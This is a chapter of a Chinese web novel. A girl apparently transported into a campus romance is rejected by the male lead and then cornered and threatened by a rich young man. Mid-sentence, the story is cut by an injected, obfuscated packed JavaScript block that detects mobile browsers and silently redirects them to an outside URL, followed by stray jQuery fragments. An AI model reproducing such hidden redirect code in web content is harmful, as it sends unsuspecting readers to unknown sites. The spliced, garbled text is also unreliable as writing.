林茉雀跃的心情戛然而止,她愣了一下问:“你说这话是什么意思?”
“就是字面的意思。”苏柏熠背着她,依旧稳稳地向前走着,一盏又一盏昏暗的路灯往后划过。
他脚步停在了一盏已经坏了的路灯下,连带着背上的林茉大半个身子也被黑暗所吞没。
“字面的意思是什么意思?”林茉极力想戳破这层窗户纸,她讨厌话说不清不楚的感觉,这一次她决心要打破砂锅问到底,“我是哪里惹到你了么,苏柏熠?”
苏柏熠呼吸声开始变得沉重,他活了十六年,这十六年里他学会了如何保护自己,给自己包裹上一层又一层厚重结实的外壳。
可面对这难能可贵的善意,他始终学不会如何体面地拒绝。
他的唇瓣颤了几秒,整个人氤氲在暗处,佯装口吻淡然的样子:“我们不是一个世界的人。”
林茉有点懵,不一会儿她反应过来攥紧了他肩头的帽衫,语气很急:“不是这样的!你是不是还在生我的气,觉得今天苏阿姨的事还是我有份参与了,所以你怪我,怪我没有直接拒绝孟乐荧。”
“但是,我……我也是有苦衷的,如果我直接拒绝了乐荧,我就会……”
她就会灰飞烟灭,彻底回不去现实世界了。
苏柏熠似是下定了某种决心,打断了林茉絮絮叨叨的解释:“没有,我没有怪你,你能帮我到这种地步,我已经很感激了。”
“只是我不喜欢我循规蹈矩的生活里,突然多出来一个人来打乱我的一切。”
「打乱」这两个字刺痛了林茉,莫名的委屈涌上心头却无处发泄,她也没有资格、没有身份去发泄。
是的,这一切都是林茉的一厢情愿,她善心多得没处使了,居然单方面地对这本校园文里的清贫男主产生了共情心理。
如果站在苏柏熠的角度呢,是不是认为她做的这些事是一场无意义的骚扰呢?
所以他这么若即若离,现在终于受不了了装不下去了,才用「打乱」这两个字来表达了他对自己的反感。
“你放我下去。”林茉的声音沉闷,见苏柏熠还是像个木头桩子一样愣在原地没有回复,她再也忍不住了,开始用力拍打着他的肩膀,语气激动:
“我让你放我下来,听到没有苏柏熠?”她的眼角俨然被泪水濡湿,可此刻她倔强地想把眼泪吸回去,抽抽嗒嗒地说:“你不是说我打乱了你的生活么?那你还假装关心我的伤,坚持要把我送到巷子口做什么?!”
“林茉,你冷静一点。”苏柏熠不知道自己的话会让她这么激动,他不会安慰别人,更不会安慰一个爱哭的小姑娘。
“我冷静不了!我……我我讨厌你!”林茉努力吸着鼻子,憋了半天才憋出了这句狠话,“就当我是一厢情愿、多管闲事好了!从此以后,就按你说的办!除了在学校,我再也不会私下里在你的面前出现了!”
苏柏熠青涩的喉结滚了滚,只觉得口中闪过一抹腥甜,原来是他不经意咬破了嘴唇。
他舔了一口唇瓣,轻抵着后槽牙说了句:“好。”
“但是,请让我送你到前面的巷子口好么?”苏柏熠下颌线逐渐绷紧,“现在夜深了,你一个女生走夜路真的很不安全,我……”
这会儿换成林茉拿回了主动权,她拒绝得果断又坚定:“就在这儿,你放我下来。半个小时之前,我已经给司机叔叔发了讯息了,他把车停好后会进来接我的。”
苏柏熠犹豫了片刻后终是妥协,他双眸扫视到前方不远处有一张石凳,便背着林茉缓步走了过去。
少年先是护住她的校服裙摆,然后轻轻地将林茉放在石凳上,移开目光尽量不直视着她,“那你在这儿先好好休息,我先走了。安全到家后记得发个信息。”
“苏同学。”林茉眼睫扑闪,那滴残存的泪珠很快被她掩饰得无影无踪,语气生冷,“你也说了我们只是普通同学,那就不是那种到家后可以互发消息的关系吧。”
苏柏熠听到这话,垂在身畔的拳头蓦然收紧,不多久又放松下来,他似是自嘲地笑了声:“嗯,你说的对……林同学。”
语罢,他头也不回地走了,独带起一阵凉风吹起了林茉耳畔的碎发。
刚下完雨的巷子里,空气中还残留着混杂泥土芬芳的潮湿气息。
林茉将乱了的碎发别在了耳后,望着她脚上的白色帆布鞋愣自出神,校服外兜里的手机传来了震动。
「小姐,真对不起!车子在半路上突然出了点小事故,但我已经解决了,只是要再劳烦小姐您多等一会,我最迟半个小时后就到福乐巷口。」
屏幕熄灭,林茉仰起头长叹了一口气,很是无奈。
今天又是倒霉的一天呢。
正当她思索着要不要撑着受伤的脚走到巷口,自己打车回去的时候,林茉的视线里突然多出了一双男士皮鞋。
“林茉,我还真是小看你了。”
循声抬起头,只见孟棠鄞从路灯暗处悄然走了过来,男人笑得邪痞,气质与他身上穿着高级定制的深灰色西服格格不入。
他扯松了领带,继而似是觉得热,脱下了西服外套懒懒散散耷在了臂弯,声音辨不出喜怒:“我那个傻妹妹,居然还看不出来你是个二五仔。”
林茉浑身绷紧,呼吸急促到渗出冷汗,浸湿了后背衬衫,她第一反应就是危险,抬起脚就要跑。
可才迈出了两步,还没恢复好的脚踝就扭到了,传来钻心的痛。
孟棠鄞起了兴,就像看一只毫无攻击力的兔子攥在自己手心瞎蹦跶。她真是太蠢了,在泾北,还从来没有过一个人能惹了孟家还能全身而退的先例。
男人唇角噙着抹不怀好意的笑,他靠近一把抓住了林茉的胳膊,稍稍使劲又将她甩回了石凳之上。
“还想跑?你跑哪儿去,嗯?”
“你跟踪我。”林茉颤颤巍巍地不停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239851|181901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发抖,蜷缩在凳子一角小声说道。
孟棠鄞仿佛听到了什么天大的笑话一样,发出放荡不羁的笑声:“你特么在说什么胡话啊,林茉?我孟棠鄞的时间就那么不值钱?需要跟踪你一个小虾米?”
他顿了顿,从裤兜掏出一只银色打火机,肆意点燃了指间夹着的香烟,男人深深吸了一口后俯下身,丝丝缕缕的烟雾就这么对着少女的脸吞吐出去。
林茉一下子就被浓烈的烟味呛咳出了眼泪,她声线抖得厉害,“那你……咳咳,怎么会出现在这里。”
“啧。”孟棠鄞并不急着对付她,夹着香烟悠哉悠哉地坐到了林茉旁边,“得,话又说回来了,还是我那个傻妹妹,今天回到家啊就哭个不停,一直打电话夺命call我。”
“我今儿被老头子逼着在孟氏旁听那个劳什子董事会呢,累了一天想休息休息都不成。”他抖了抖指间的烟灰,那半截香烟泛出或明或灭的橙红。
“嗨,要不说是你林茉架子大呢,没有你的缘故,爷估计一辈子都不会来这种穷人地方吧?”孟棠鄞又猛吸了口香烟,表情餍足,“你说是不是,二五仔?”
林茉这时已经抖若筛糠,吓破了胆。
孟棠鄞都知道了自己在偷偷帮助苏柏熠的事了,那恐怕孟乐荧知道这事也只是时间问题了。
如果书中的恶毒女配知道了,不带她玩了,那她的任务还怎么进行下去?
该死的系统啊啊啊,现在这种危机时刻又宕机了似的一声不吭。
“老子问你话呢,你怎么敢不回话的?”孟棠鄞突然靠近,抬起右手似是警告地拍了拍她的侧脸。
男人手虎口处带着薄薄的茧,摩挲得林茉皮肤生疼。
下一秒,孟棠鄞本性暴露,毫不留情地掐住了她脸上的嫩肉,“说话!”
“我我我……”林茉本就不聪明的大脑努力运转着,唯唯诺诺地回道,“对不起!我不是故意的,我只是看苏同学他太可怜了,我就我就……”
“你就背着乐荧,三番五次地帮那个穷小子?”孟棠鄞深邃的眸子愈发清明,他随手将烟头扔在了地上踩灭,而后轻笑道,“我说怎么上次在咖啡馆,你那杯咖啡浇得那么不情不愿呢,浇了一半还装肚子疼。”
“今儿个又故技重施了是吧?”
“没有三番五次,就……就两三次而已。”林茉掰着手指头,一副老实怯懦的模样。
不多一会,她鼓起勇气侧过身子恳求道:“你能不能不要告诉乐荧这件事,求求你了!我保证以后再也不帮那个苏柏熠了!我保证!”
孟棠鄞没有答话,好半晌后才慢悠悠地开口:“我该说你是同情心泛滥呢?还是傻得可爱?自己家的公司都一屁股烂帐,你爸都焦头烂额了,天天来孟氏摇尾乞怜求合作。还有,你凭什么认为我会为了你,隐瞒我的亲妹妹?”
“你脑子没摔坏吧?林茉。”他一字一句,似锋利的钢钉锤在了林茉的心脏。